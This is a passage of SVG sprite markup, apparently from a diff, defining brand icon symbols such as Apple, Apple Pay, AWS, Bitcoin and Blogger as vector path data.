2.2-27.3-7.3-32.9-56.9-57.5-99.7-74-128.1-16.7-29-4.8-58 7.1-67.8 13.1 22.7 32.7 56.7 58.9 102h52c11 0 20 9 20 20 0 11.1-9 20-20 20z"></path> + </symbol> + <symbol id="apper" viewBox="0 0 640 512"> + <path d="M42.1 239.1c22.2 0 29 2.8 33.5 14.6h.8v-22.9c0-11.3-4.8-15.4-17.9-15.4-11.3 0-14.4 2.5-15.1 12.8H4.8c.3-13.9 1.5-19.1 5.8-24.4C17.9 195 29.5 192 56.7 192c33 0 47.1 5 53.9 18.9 2 4.3 4 15.6 4 23.7v76.3H76.3l1.3-19.1h-1c-5.3 15.6-13.6 20.4-35.5 20.4-30.3 0-41.1-10.1-41.1-37.3 0-25.2 12.3-35.8 42.1-35.8zm17.1 48.1c13.1 0 16.9-3 16.9-13.4 0-9.1-4.3-11.6-19.6-11.6-13.1 0-17.9 3-17.9 12.1-.1 10.4 3.7 12.9 20.6 12.9zm77.8-94.9h38.3l-1.5 20.6h.8c9.1-17.1 15.9-20.9 37.5-20.9 14.4 0 24.7 3 31.5 9.1 9.8 8.6 12.8 20.4 12.8 48.1 0 30-3 43.1-12.1 52.9-6.8 7.3-16.4 10.1-33.2 10.1-20.4 0-29.2-5.5-33.8-21.2h-.8v70.3H137v-169zm80.9 60.7c0-27.5-3.3-32.5-20.7-32.5-16.9 0-20.7 5-20.7 28.7 0 28 3.5 33.5 21.2 33.5 16.4 0 20.2-5.6 20.2-29.7zm57.9-60.7h38.3l-1.5 20.6h.8c9.1-17.1 15.9-20.9 37.5-20.9 14.4 0 24.7 3 31.5 9.1 9.8 8.6 12.8 20.4 12.8 48.1 0 30-3 43.1-12.1 52.9-6.8 7.3-16.4 10.1-33.3 10.1-20.4 0-29.2-5.5-33.8-21.2h-.8v70.3h-39.5v-169zm80.9 60.7c0-27.5-3.3-32.5-20.7-32.5-16.9 0-20.7 5-20.7 28.7 0 28 3.5 33.5 21.2 33.5 16.4 0 20.2-5.6 20.2-29.7zm53.8-3.8c0-25.4 3.3-37.8 12.3-45.8 8.8-8.1 22.2-11.3 45.1-11.3 42.8 0 55.7 12.8 55.7 55.7v11.1h-75.3c-.3 2-.3 4-.3 4.8 0 16.9 4.5 21.9 20.1 21.9 13.9 0 17.9-3 17.9-13.9h37.5v2.3c0 9.8-2.5 18.9-6.8 24.7-7.3 9.8-19.6 13.6-44.3 13.6-27.5 0-41.6-3.3-50.6-12.3-8.5-8.5-11.3-21.3-11.3-50.8zm76.4-11.6c-.3-1.8-.3-3.3-.3-3.8 0-12.3-3.3-14.6-19.6-14.6-14.4 0-17.1 3-18.1 15.1l-.3 3.3h38.3zm55.6-45.3h38.3l-1.8 19.9h.7c6.8-14.9 14.4-20.2 29.7-20.2 10.8 0 19.1 3.3 23.4 9.3 5.3 7.3 6.8 14.4 6.8 34 0 1.5 0 5 .2 9.3h-35c.3-1.8.3-3.3.3-4 0-15.4-2-19.4-10.3-19.4-6.3 0-10.8 3.3-13.1 9.3-1 3-1 4.3-1 12.3v68h-38.3V192.3z"></path> + </symbol> + <symbol id="apple" viewBox="0 0 384 512"> + <path d="M318.7 268.7c-.2-36.7 16.4-64.4 50-84.8-18.8-26.9-47.2-41.7-84.7-44.6-35.5-2.8-74.3 20.7-88.5 20.7-15 0-49.4-19.7-76.4-19.7C63.3 141.2 4 184.8 4 273.5q0 39.3 14.4 81.2c12.8 36.7 59 126.7 107.2 125.2 25.2-.6 43-17.9 75.8-17.9 31.8 0 48.3 17.9 76.4 17.9 48.6-.7 90.4-82.5 102.6-119.3-65.2-30.7-61.7-90-61.7-91.9zm-56.6-164.2c27.3-32.4 24.8-61.9 24-72.5-24.1 1.4-52 16.4-67.9 34.9-17.5 19.8-27.8 44.3-25.6 71.9 26.1 2 49.9-11.4 69.5-34.3z"></path> + </symbol> + <symbol id="apple-pay" viewBox="0 0 640 512"> + <path d="M116.9 158.5c-7.5 8.9-19.5 15.9-31.5 14.9-1.5-12 4.4-24.8 11.3-32.6 7.5-9.1 20.6-15.6 31.3-16.1 1.2 12.4-3.7 24.7-11.1 33.8m10.9 17.2c-17.4-1-32.3 9.9-40.5 9.9-8.4 0-21-9.4-34.8-9.1-17.9.3-34.5 10.4-43.6 26.5-18.8 32.3-4.9 80 13.3 106.3 8.9 13 19.5 27.3 33.5 26.8 13.3-.5 18.5-8.6 34.5-8.6 16.1 0 20.8 8.6 34.8 8.4 14.5-.3 23.6-13 32.5-26 10.1-14.8 14.3-29.1 14.5-29.9-.3-.3-28-10.9-28.3-42.9-.3-26.8 21.9-39.5 22.9-40.3-12.5-18.6-32-20.6-38.8-21.1m100.4-36.2v194.9h30.3v-66.6h41.9c38.3 0 65.1-26.3 65.1-64.3s-26.4-64-64.1-64h-73.2zm30.3 25.5h34.9c26.3 0 41.3 14 41.3 38.6s-15 38.8-41.4 38.8h-34.8V165zm162.2 170.9c19 0 36.6-9.6 44.6-24.9h.6v23.4h28v-97c0-28.1-22.5-46.3-57.1-46.3-32.1 0-55.9 18.4-56.8 43.6h27.3c2.3-12 13.4-19.9 28.6-19.9 18.5 0 28.9 8.6 28.9 24.5v10.8l-37.8 2.3c-35.1 2.1-54.1 16.5-54.1 41.5.1 25.2 19.7 42 47.8 42zm8.2-23.1c-16.1 0-26.4-7.8-26.4-19.6 0-12.3 9.9-19.4 28.8-20.5l33.6-2.1v11c0 18.2-15.5 31.2-36 31.2zm102.5 74.6c29.5 0 43.4-11.3 55.5-45.4L640 193h-30.8l-35.6 115.1h-.6L537.4 193h-31.6L557 334.9l-2.8 8.6c-4.6 14.6-12.1 20.3-25.5 20.3-2.4 0-7-.3-8.9-.5v23.4c1.8.4 9.3.7 11.6.7z"></path> + </symbol> + <symbol id="artstation" viewBox="0 0 512 512"> + <path d="M2 377.4l43 74.3A51.35 51.35 0 0 0 90.9 480h285.4l-59.2-102.6zM501.8 350L335.6 59.3A51.38 51.38 0 0 0 290.2 32h-88.4l257.3 447.6 40.7-70.5c1.9-3.2 21-29.7 2-59.1zM275 304.5l-115.5-200L44 304.5z"></path> + </symbol> + <symbol id="asymmetrik" viewBox="0 0 576 512"> + <path d="M517.5 309.2c38.8-40 58.1-80 58.5-116.1.8-65.5-59.4-118.2-169.4-135C277.9 38.4 118.1 73.6 0 140.5 52 114 110.6 92.3 170.7 82.3c74.5-20.5 153-25.4 221.3-14.8C544.5 91.3 588.8 195 490.8 299.2c-10.2 10.8-22 21.1-35 30.6L304.9 103.4 114.7 388.9c-65.6-29.4-76.5-90.2-19.1-151.2 20.8-22.2 48.3-41.9 79.5-58.1 20-12.2 39.7-22.6 62-30.7-65.1 20.3-122.7 52.9-161.6 92.9-27.7 28.6-41.4 57.1-41.7 82.9-.5 35.1 23.4 65.1 68.4 83l-34.5 51.7h101.6l22-34.4c22.2 1 45.3 0 68.6-2.7l-22.8 37.1h135.5L340 406.3c18.6-5.3 36.9-11.5 54.5-18.7l45.9 71.8H542L468.6 349c18.5-12.1 35-25.5 48.9-39.8zm-187.6 80.5l-25-40.6-32.7 53.3c-23.4 3.5-46.7 5.1-69.2 4.4l101.9-159.3 78.7 123c-17.2 7.4-35.3 13.9-53.7 19.2z"></path> + </symbol> + <symbol id="atlassian" viewBox="0 0 512 512"> + <path d="M152.2 236.4c-7.7-8.2-19.7-7.7-24.8 2.8L1.6 490.2c-5 10 2.4 21.7 13.4 21.7h175c5.8.1 11-3.2 13.4-8.4 37.9-77.8 15.1-196.3-51.2-267.1zM244.4 8.1c-122.3 193.4-8.5 348.6 65 495.5 2.5 5.1 7.7 8.4 13.4 8.4H497c11.2 0 18.4-11.8 13.4-21.7 0 0-234.5-470.6-240.4-482.3-5.3-10.6-18.8-10.8-25.6.1z"></path> + </symbol> + <symbol id="audible" viewBox="0 0 640 512"> + <path d="M640 199.9v54l-320 200L0 254v-54l320 200 320-200.1zm-194.5 72l47.1-29.4c-37.2-55.8-100.7-92.6-172.7-92.6-72 0-135.5 36.7-172.6 92.4h.3c2.5-2.3 5.1-4.5 7.7-6.7 89.7-74.4 219.4-58.1 290.2 36.3zm-220.1 18.8c16.9-11.9 36.5-18.7 57.4-18.7 34.4 0 65.2 18.4 86.4 47.6l45.4-28.4c-20.9-29.9-55.6-49.5-94.8-49.5-38.9 0-73.4 19.4-94.4 49zM103.6 161.1c131.8-104.3 318.2-76.4 417.5 62.1l.7 1 48.8-30.4C517.1 112.1 424.8 58.1 319.9 58.1c-103.5 0-196.6 53.5-250.5 135.6 9.9-10.5 22.7-23.5 34.2-32.6zm467 32.7z"></path> + </symbol> + <symbol id="autoprefixer" viewBox="0 0 640 512"> + <path d="M318.4 16l-161 480h77.5l25.4-81.4h119.5L405 496h77.5L318.4 16zm-40.3 341.9l41.2-130.4h1.5l40.9 130.4h-83.6zM640 405l-10-31.4L462.1 358l19.4 56.5L640 405zm-462.1-47L10 373.7 0 405l158.5 9.4 19.4-56.4z"></path> + </symbol> + <symbol id="avianex" viewBox="0 0 512 512"> + <path d="M453.1 32h-312c-38.9 0-76.2 31.2-83.3 69.7L1.2 410.3C-5.9 448.8 19.9 480 58.9 480h312c38.9 0 76.2-31.2 83.3-69.7l56.7-308.5c7-38.6-18.8-69.8-57.8-69.8zm-58.2 347.3l-32 13.5-115.4-110c-14.7 10-29.2 19.5-41.7 27.1l22.1 64.2-17.9 12.7-40.6-61-52.4-48.1 15.7-15.4 58 31.1c9.3-10.5 20.8-22.6 32.8-34.9L203 228.9l-68.8-99.8 18.8-28.9 8.9-4.8L265 207.8l4.9 4.5c19.4-18.8 33.8-32.4 33.8-32.4 7.7-6.5 21.5-2.9 30.7 7.9 9 10.5 10.6 24.7 2.7 31.3-1.8 1.3-15.5 11.4-35.3 25.6l4.5 7.3 94.9 119.4-6.3 7.9z"></path> + </symbol> + <symbol id="aviato" viewBox="0 0 640 512"> + <path d="M107.2 283.5l-19-41.8H36.1l-19 41.8H0l62.2-131.4 62.2 131.4h-17.2zm-45-98.1l-19.6 42.5h39.2l-19.6-42.5zm112.7 102.4l-62.2-131.4h17.1l45.1 96 45.1-96h17l-62.1 131.4zm80.6-4.3V156.4H271v127.1h-15.5zm209.1-115.6v115.6h-17.3V167.9h-41.2v-11.5h99.6v11.5h-41.1zM640 218.8c0 9.2-1.7 17.8-5.1 25.8-3.4 8-8.2 15.1-14.2 21.1-6 6-13.1 10.8-21.1 14.2-8 3.4-16.6 5.1-25.8 5.1s-17.8-1.7-25.8-5.1c-8-3.4-15.1-8.2-21.1-14.2-6-6-10.8-13-14.2-21.1-3.4-8-5.1-16.6-5.1-25.8s1.7-17.8 5.1-25.8c3.4-8 8.2-15.1 14.2-21.1 6-6 13-8.4 21.1-11.9 8-3.4 16.6-5.1 25.8-5.1s17.8 1.7 25.8 5.1c8 3.4 15.1 5.8 21.1 11.9 6 6 10.7 13.1 14.2 21.1 3.4 8 5.1 16.6 5.1 25.8zm-15.5 0c0-7.3-1.3-14-3.9-20.3-2.6-6.3-6.2-11.7-10.8-16.3-4.6-4.6-10-8.2-16.2-10.9-6.2-2.7-12.8-4-19.8-4s-13.6 1.3-19.8 4c-6.2 2.7-11.6 6.3-16.2 10.9-4.6 4.6-8.2 10-10.8 16.3-2.6 6.3-3.9 13.1-3.9 20.3 0 7.3 1.3 14 3.9 20.3 2.6 6.3 6.2 11.7 10.8 16.3 4.6 4.6 10 8.2 16.2 10.9 6.2 2.7 12.8 4 19.8 4s13.6-1.3 19.8-4c6.2-2.7 11.6-6.3 16.2-10.9 4.6-4.6 8.2-10 10.8-16.3 2.6-6.3 3.9-13.1 3.9-20.3zm-94.8 96.7v-6.3l88.9-10-242.9 13.4c.6-2.2 1.1-4.6 1.4-7.2.3-2 .5-4.2.6-6.5l64.8-8.1-64.9 1.9c0-.4-.1-.7-.1-1.1-2.8-17.2-25.5-23.7-25.5-23.7l-1.1-26.3h23.8l19 41.8h17.1L348.6 152l-62.2 131.4h17.1l19-41.8h23.6L345 268s-22.7 6.5-25.5 23.7c-.1.3-.1.7-.1 1.1l-64.9-1.9 64.8 8.1c.1 2.3.3 4.4.6 6.5.3 2.6.8 5 1.4 7.2L78.4 299.2l88.9 10v6.3c-5.9.9-10.5 6-10.5 12.2 0 6.8 5.6 12.4 12.4 12.4 6.8 0 12.4-5.6 12.4-12.4 0-6.2-4.6-11.3-10.5-12.2v-5.8l80.3 9v5.4c-5.7 1.1-9.9 6.2-9.9 12.1 0 6.8 5.6 10.2 12.4 10.2 6.8 0 12.4-3.4 12.4-10.2 0-6-4.3-11-9.9-12.1v-4.9l28.4 3.2v23.7h-5.9V360h5.9v-6.6h5v6.6h5.9v-13.8h-5.9V323l38.3 4.3c8.1 11.4 19 13.6 19 13.6l-.1 6.7-5.1.2-.1 12.1h4.1l.1-5h5.2l.1 5h4.1l-.1-12.1-5.1-.2-.1-6.7s10.9-2.1 19-13.6l38.3-4.3v23.2h-5.9V360h5.9v-6.6h5v6.6h5.9v-13.8h-5.9v-23.7l28.4-3.2v4.9c-5.7 1.1-9.9 6.2-9.9 12.1 0 6.8 5.6 10.2 12.4 10.2 6.8 0 12.4-3.4 12.4-10.2 0-6-4.3-11-9.9-12.1v-5.4l80.3-9v5.8c-5.9.9-10.5 6-10.5 12.2 0 6.8 5.6 12.4 12.4 12.4 6.8 0 12.4-5.6 12.4-12.4-.2-6.3-4.7-11.4-10.7-12.3zm-200.8-87.6l19.6-42.5 19.6 42.5h-17.9l-1.7-40.3-1.7 40.3h-17.9z"></path> + </symbol> + <symbol id="aws" viewBox="0 0 640 512"> + <path d="M180.41 203.01c-.72 22.65 10.6 32.68 10.88 39.05a8.164 8.164 0 0 1-4.1 6.27l-12.8 8.96a10.66 10.66 0 0 1-5.63 1.92c-.43-.02-8.19 1.83-20.48-25.61a78.608 78.608 0 0 1-62.61 29.45c-16.28.89-60.4-9.24-58.13-56.21-1.59-38.28 34.06-62.06 70.93-60.05 7.1.02 21.6.37 46.99 6.27v-15.62c2.69-26.46-14.7-46.99-44.81-43.91-2.4.01-19.4-.5-45.84 10.11-7.36 3.38-8.3 2.82-10.75 2.82-7.41 0-4.36-21.48-2.94-24.2 5.21-6.4 35.86-18.35 65.94-18.18a76.857 76.857 0 0 1 55.69 17.28 70.285 70.285 0 0 1 17.67 52.36l-.01 69.29zM93.99 235.4c32.43-.47 46.16-19.97 49.29-30.47 2.46-10.05 2.05-16.41 2.05-27.4-9.67-2.32-23.59-4.85-39.56-4.87-15.15-1.14-42.82 5.63-41.74 32.26-1.24 16.79 11.12 31.4 29.96 30.48zm170.92 23.05c-7.86.72-11.52-4.86-12.68-10.37l-49.8-164.65c-.97-2.78-1.61-5.65-1.92-8.58a4.61 4.61 0 0 1 3.86-5.25c.24-.04-2.13 0 22.25 0 8.78-.88 11.64 6.03 12.55 10.37l35.72 140.83 33.16-140.83c.53-3.22 2.94-11.07 12.8-10.24h17.16c2.17-.18 11.11-.5 12.68 10.37l33.42 142.63L420.98 80.1c.48-2.18 2.72-11.37 12.68-10.37h19.72c.85-.13 6.15-.81 5.25 8.58-.43 1.85 3.41-10.66-52.75 169.9-1.15 5.51-4.82 11.09-12.68 10.37h-18.69c-10.94 1.15-12.51-9.66-12.68-10.75L328.67 110.7l-32.78 136.99c-.16 1.09-1.73 11.9-12.68 10.75h-18.3zm273.48 5.63c-5.88.01-33.92-.3-57.36-12.29a12.802 12.802 0 0 1-7.81-11.91v-10.75c0-8.45 6.2-6.9 8.83-5.89 10.04 4.06 16.48 7.14 28.81 9.6 36.65 7.53 52.77-2.3 56.72-4.48 13.15-7.81 14.19-25.68 5.25-34.95-10.48-8.79-15.48-9.12-53.13-21-4.64-1.29-43.7-13.61-43.79-52.36-.61-28.24 25.05-56.18 69.52-55.95 12.67-.01 46.43 4.13 55.57 15.62 1.35 2.09 2.02 4.55 1.92 7.04v10.11c0 4.44-1.62 6.66-4.87 6.66-7.71-.86-21.39-11.17-49.16-10.75-6.89-.36-39.89.91-38.41 24.97-.43 18.96 26.61 26.07 29.7 26.89 36.46 10.97 48.65 12.79 63.12 29.58 17.14 22.25 7.9 48.3 4.35 55.44-19.08 37.49-68.42 34.44-69.26 34.42zm40.2 104.86c-70.03 51.72-171.69 79.25-258.49 79.25A469.127 469.127 0 0 1 2.83 327.46c-6.53-5.89-.77-13.96 7.17-9.47a637.37 637.37 0 0 0 316.88 84.12 630.22 630.22 0 0 0 241.59-49.55c11.78-5 21.77 7.8 10.12 16.38zm29.19-33.29c-8.96-11.52-59.28-5.38-81.81-2.69-6.79.77-7.94-5.12-1.79-9.47 40.07-28.17 105.88-20.1 113.44-10.63 7.55 9.47-2.05 75.41-39.56 106.91-5.76 4.87-11.27 2.3-8.71-4.1 8.44-21.25 27.39-68.49 18.43-80.02z"></path> + </symbol> + <symbol id="bandcamp" viewBox="0 0 512 512"> + <path d="M256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8Zm48.2,326.1h-181L207.9,178h181Z"></path> + </symbol> + <symbol id="battle-net" viewBox="0 0 512 512"> + <path d="M448.61 225.62c26.87.18 35.57-7.43 38.92-12.37 12.47-16.32-7.06-47.6-52.85-71.33 17.76-33.58 30.11-63.68 36.34-85.3 3.38-11.83 1.09-19 .45-20.25-1.72 10.52-15.85 48.46-48.2 100.05-25-11.22-56.52-20.1-93.77-23.8-8.94-16.94-34.88-63.86-60.48-88.93C252.18 7.14 238.7 1.07 228.18.22h-.05c-13.83-1.55-22.67 5.85-27.4 11-17.2 18.53-24.33 48.87-25 84.07-7.24-12.35-17.17-24.63-28.5-25.93h-.18c-20.66-3.48-38.39 29.22-36 81.29-38.36 1.38-71 5.75-93 11.23-9.9 2.45-16.22 7.27-17.76 9.72 1-.38 22.4-9.22 111.56-9.22 5.22 53 29.75 101.82 26 93.19-9.73 15.4-38.24 62.36-47.31 97.7-5.87 22.88-4.37 37.61.15 47.14 5.57 12.75 16.41 16.72 23.2 18.26 25 5.71 55.38-3.63 86.7-21.14-7.53 12.84-13.9 28.51-9.06 39.34 7.31 19.65 44.49 18.66 88.44-9.45 20.18 32.18 40.07 57.94 55.7 74.12a39.79 39.79 0 0 0 8.75 7.09c5.14 3.21 8.58 3.37 8.58 3.37-8.24-6.75-34-38-62.54-91.78 22.22-16 45.65-38.87 67.47-69.27 122.82 4.6 143.29-24.76 148-31.64 14.67-19.88 3.43-57.44-57.32-93.69zm-77.85 106.22c23.81-37.71 30.34-67.77 29.45-92.33 27.86 17.57 47.18 37.58 49.06 58.83 1.14 12.93-8.1 29.12-78.51 33.5zM216.9 387.69c9.76-6.23 19.53-13.12 29.2-20.49 6.68 13.33 13.6 26.1 20.6 38.19-40.6 21.86-68.84 12.76-49.8-17.7zm215-171.35c-10.29-5.34-21.16-10.34-32.38-15.05a722.459 722.459 0 0 0 22.74-36.9c39.06 24.1 45.9 53.18 9.64 51.95zM279.18 398c-5.51-11.35-11-23.5-16.5-36.44 43.25 1.27 62.42-18.73 63.28-20.41 0 .07-25 15.64-62.53 12.25a718.78 718.78 0 0 0 85.06-84q13.06-15.31 24.93-31.11c-.36-.29-1.54-3-16.51-12-51.7 60.27-102.34 98-132.75 115.92-20.59-11.18-40.84-31.78-55.71-61.49-20-39.92-30-82.39-31.57-116.07 12.3.91 25.27 2.17 38.85 3.88-22.29 36.8-14.39 63-13.47 64.23 0-.07-.95-29.17 20.14-59.57a695.23 695.23 0 0 0 44.67 152.84c.93-.38 1.84.88 18.67-8.25-26.33-74.47-33.76-138.17-34-173.43 20-12.42 48.18-19.8 81.63-17.81 44.57 2.67 86.36 15.25 116.32 30.71q-10.69 15.66-23.33 32.47C365.63 152 339.1 145.84 337.5 146c.11 0 25.9 14.07 41.52 47.22a717.63 717.63 0 0 0-115.34-31.71 646.608 646.608 0 0 0-39.39-6.05c-.07.45-1.81 1.85-2.16 20.33C300 190.28 358.78 215.68 389.36 233c.74 23.55-6.95 51.61-25.41 79.57-24.6 37.31-56.39 67.23-84.77 85.43zm27.4-287c-44.56-1.66-73.58 7.43-94.69 20.67 2-52.3 21.31-76.38 38.21-75.28C267 52.15 305 108.55 306.58 111zm-130.65 3.1c.48 12.11 1.59 24.62 3.21 37.28-14.55-.85-28.74-1.25-42.4-1.26-.08 3.24-.12-51 24.67-49.59h.09c5.76 1.09 10.63 6.88 14.43 13.57zm-28.06 162c20.76 39.7 43.3 60.57 65.25 72.31-46.79 24.76-77.53 20-84.92 4.51-.2-.21-11.13-15.3 19.67-76.81zm210.06 74.8"></path> + </symbol> + <symbol id="behance" viewBox="0 0 576 512"> + <path d="M232 237.2c31.8-15.2 48.4-38.2 48.4-74 0-70.6-52.6-87.8-113.3-87.8H0v354.4h171.8c64.4 0 124.9-30.9 124.9-102.9 0-44.5-21.1-77.4-64.7-89.7zM77.9 135.9H151c28.1 0 53.4 7.9 53.4 40.5 0 30.1-19.7 42.2-47.5 42.2h-79v-82.7zm83.3 233.7H77.9V272h84.9c34.3 0 56 14.3 56 50.6 0 35.8-25.9 47-57.6 47zm358.5-240.7H376V94h143.7v34.9zM576 305.2c0-75.9-44.4-139.2-124.9-139.2-78.2 0-131.3 58.8-131.3 135.8 0 79.9 50.3 134.7 131.3 134.7 61.3 0 101-27.6 120.1-86.3H509c-6.7 21.9-34.3 33.5-55.7 33.5-41.3 0-63-24.2-63-65.3h185.1c.3-4.2.6-8.7.6-13.2zM390.4 274c2.3-33.7 24.7-54.8 58.5-54.8 35.4 0 53.2 20.8 56.2 54.8H390.4z"></path> + </symbol> + <symbol id="behance-square" viewBox="0 0 448 512"> + <path d="M186.5 293c0 19.3-14 25.4-31.2 25.4h-45.1v-52.9h46c18.6.1 30.3 7.8 30.3 27.5zm-7.7-82.3c0-17.7-13.7-21.9-28.9-21.9h-39.6v44.8H153c15.1 0 25.8-6.6 25.8-22.9zm132.3 23.2c-18.3 0-30.5 11.4-31.7 29.7h62.2c-1.7-18.5-11.3-29.7-30.5-29.7zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM271.7 185h77.8v-18.9h-77.8V185zm-43 110.3c0-24.1-11.4-44.9-35-51.6 17.2-8.2 26.2-17.7 26.2-37 0-38.2-28.5-47.5-61.4-47.5H68v192h93.1c34.9-.2 67.6-16.9 67.6-55.9zM380 280.5c0-41.1-24.1-75.4-67.6-75.4-42.4 0-71.1 31.8-71.1 73.6 0 43.3 27.3 73 71.1 73 33.2 0 54.7-14.9 65.1-46.8h-33.7c-3.7 11.9-18.6 18.1-30.2 18.1-22.4 0-34.1-13.1-34.1-35.3h100.2c.1-2.3.3-4.8.3-7.2z"></path> + </symbol> + <symbol id="bimobject" viewBox="0 0 448 512"> + <path d="M416 32H32C14.4 32 0 46.4 0 64v384c0 17.6 14.4 32 32 32h384c17.6 0 32-14.4 32-32V64c0-17.6-14.4-32-32-32zm-64 257.4c0 49.4-11.4 82.6-103.8 82.6h-16.9c-44.1 0-62.4-14.9-70.4-38.8h-.9V368H96V136h64v74.7h1.1c4.6-30.5 39.7-38.8 69.7-38.8h17.3c92.4 0 103.8 33.1 103.8 82.5v35zm-64-28.9v22.9c0 21.7-3.4 33.8-38.4 33.8h-45.3c-28.9 0-44.1-6.5-44.1-35.7v-19c0-29.3 15.2-35.7 44.1-35.7h45.3c35-.2 38.4 12 38.4 33.7z"></path> + </symbol> + <symbol id="bitbucket" viewBox="0 0 512 512"> + <path d="M22.2 32A16 16 0 0 0 6 47.8a26.35 26.35 0 0 0 .2 2.8l67.9 412.1a21.77 21.77 0 0 0 21.3 18.2h325.7a16 16 0 0 0 16-13.4L505 50.7a16 16 0 0 0-13.2-18.3 24.58 24.58 0 0 0-2.8-.2L22.2 32zm285.9 297.8h-104l-28.1-147h157.3l-25.2 147z"></path> + </symbol> + <symbol id="bitcoin" viewBox="0 0 512 512"> + <path d="M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zm-141.651-35.33c4.937-32.999-20.191-50.739-54.55-62.573l11.146-44.702-27.213-6.781-10.851 43.524c-7.154-1.783-14.502-3.464-21.803-5.13l10.929-43.81-27.198-6.781-11.153 44.686c-5.922-1.349-11.735-2.682-17.377-4.084l.031-.14-37.53-9.37-7.239 29.062s20.191 4.627 19.765 4.913c11.022 2.751 13.014 10.044 12.68 15.825l-12.696 50.925c.76.194 1.744.473 2.829.907-.907-.225-1.876-.473-2.876-.713l-17.796 71.338c-1.349 3.348-4.767 8.37-12.471 6.464.271.395-19.78-4.937-19.78-4.937l-13.51 31.147 35.414 8.827c6.588 1.651 13.045 3.379 19.4 5.006l-11.262 45.213 27.182 6.781 11.153-44.733a1038.209 1038.209 0 0 0 21.687 5.627l-11.115 44.523 27.213 6.781 11.262-45.128c46.404 8.781 81.299 5.239 95.986-36.727 11.836-33.79-.589-53.281-25.004-65.991 17.78-4.098 31.174-15.792 34.747-39.949zm-62.177 87.179c-8.41 33.79-65.308 15.523-83.755 10.943l14.944-59.899c18.446 4.603 77.6 13.717 68.811 48.956zm8.417-87.667c-7.673 30.736-55.031 15.12-70.393 11.292l13.548-54.327c15.363 3.828 64.836 10.973 56.845 43.035z"></path> + </symbol> + <symbol id="bity" viewBox="0 0 496 512"> + <path d="M78.4 67.2C173.8-22 324.5-24 421.5 71c14.3 14.1-6.4 37.1-22.4 21.5-84.8-82.4-215.8-80.3-298.9-3.2-16.3 15.1-36.5-8.3-21.8-22.1zm98.9 418.6c19.3 5.7 29.3-23.6 7.9-30C73 421.9 9.4 306.1 37.7 194.8c5-19.6-24.9-28.1-30.2-7.1-32.1 127.4 41.1 259.8 169.8 298.1zm148.1-2c121.9-40.2 192.9-166.9 164.4-291-4.5-19.7-34.9-13.8-30 7.9 24.2 107.7-37.1 217.9-143.2 253.4-21.2 7-10.4 36 8.8 29.7zm-62.9-79l.2-71.8c0-8.2-6.6-14.8-14.8-14.8-8.2 0-14.8 6.7-14.8 14.8l-.2 71.8c0 8.2 6.6 14.8 14.8 14.8s14.8-6.6 14.8-14.8zm71-269c2.1 90.9 4.7 131.9-85.5 132.5-92.5-.7-86.9-44.3-85.5-132.5 0-21.8-32.5-19.6-32.5 0v71.6c0 69.3 60.7 90.9 118 90.1 57.3.8 118-20.8 118-90.1v-71.6c0-19.6-32.5-21.8-32.5 0z"></path> + </symbol> + <symbol id="black-tie" viewBox="0 0 448 512"> + <path d="M0 32v448h448V32H0zm316.5 325.2L224 445.9l-92.5-88.7 64.5-184-64.5-86.6h184.9L252 173.2l64.5 184z"></path> + </symbol> + <symbol id="blackberry" viewBox="0 0 512 512"> + <path d="M166 116.9c0 23.4-16.4 49.1-72.5 49.1H23.4l21-88.8h67.8c42.1 0 53.8 23.3 53.8 39.7zm126.2-39.7h-67.8L205.7 166h70.1c53.8 0 70.1-25.7 70.1-49.1.1-16.4-11.6-39.7-53.7-39.7zM88.8 208.1H21L0 296.9h70.1c56.1 0 72.5-23.4 72.5-49.1 0-16.3-11.7-39.7-53.8-39.7zm180.1 0h-67.8l-18.7 88.8h70.1c53.8 0 70.1-23.4 70.1-49.1 0-16.3-11.7-39.7-53.7-39.7zm189.3-53.8h-67.8l-18.7 88.8h70.1c53.8 0 70.1-23.4 70.1-49.1.1-16.3-11.6-39.7-53.7-39.7zm-28 137.9h-67.8L343.7 381h70.1c56.1 0 70.1-23.4 70.1-49.1 0-16.3-11.6-39.7-53.7-39.7zM240.8 346H173l-18.7 88.8h70.1c56.1 0 70.1-25.7 70.1-49.1.1-16.3-11.6-39.7-53.7-39.7z"></path> + </symbol> + <symbol id="blogger" viewBox="0 0 448 512"> + <path d="M162.4 196c4.8-4.9 6.2-5.1 36.4-5.1 27.2 0 28.1.1 32.1 2.1 5.8 2.9 8.3 7 8.3 13.6 0 5.9-2.4 10-7.6 13.4-2.8 1.8-4.5 1.9-31.1 2.1-16.4.1-29.5-.2-31.5-.8-10.3-2.9-14.1-17.7-6.6-25.3zm61.4 94.5c-53.9 0-55.8.2-60.2 4.1-3.5 3.1-5.7 9.4-5.1 13.9.7 4.7 4.8 10.1 9.2 12 2.2 1 14.1 1.7 56.3 1.2l47.9-.6 9.2-1.5c9-5.1 10.5-17.4 3.1-24.4-5.3-4.7-5-4.7-60.4-4.7zm223.4 130.1c-3.5 28.4-23 50.4-51.1 57.5-7.2 1.8-9.7 1.9-172.9 1.8-157.8 0-165.9-.1-172-1.8-8.4-2.2-15.6-5.5-22.3-10-5.6-3.8-13.9-11.8-17-16.4-3.8-5.6-8.2-15.3-10-22C.1 423 0 420.3 0 256.3 0 93.2 0 89.7 1.8 82.6 8.1 57.9 27.7 39 53 33.4c7.3-1.6 332.1-1.9 340-.3 21.2 4.3 37.9 17.1 47.6 36.4 7.7 15.3 7-1.5 7.3 180.6.2 115.8 0 164.5-.7 170.5zm-85.4-185.2c-1.1-5-4.2-9.6-7.7-11.5-1.1-.6-8-1.3-15.5-1.7-12.4-.6-13.8-.8-17.8-3.1-6.2-3.6-7.9-7.6-8-18.3 0-20.4-8.5-39.4-25.3-56.5-12-12.2-25.3-20.5-40.6-25.1-3.6-1.1-11.8-1.5-39.2-1.8-42.9-.5-52.5.4-67.1 6.2-27 10.7-46.3 33.4-53.4 62.4-1.3 5.4-1.6 14.2-1.9 64.3-.4 62.8 0 72.1 4 84.5 9.7 30.7 37.1 53.4 64.6 58.4 9.2 1.7 122.2 2.1 133.7.5 20.1-2.7 35.9-10.8 50.7-25.9 10.7-10.9 17.4-22.8 21.8-38.5 3.2-10.9 2.9-88.4 1.7-93.9z"></path> + </symbol> + <symbol id="blogger-b" viewBox="0 0 448 512"> + <path d="M446.6 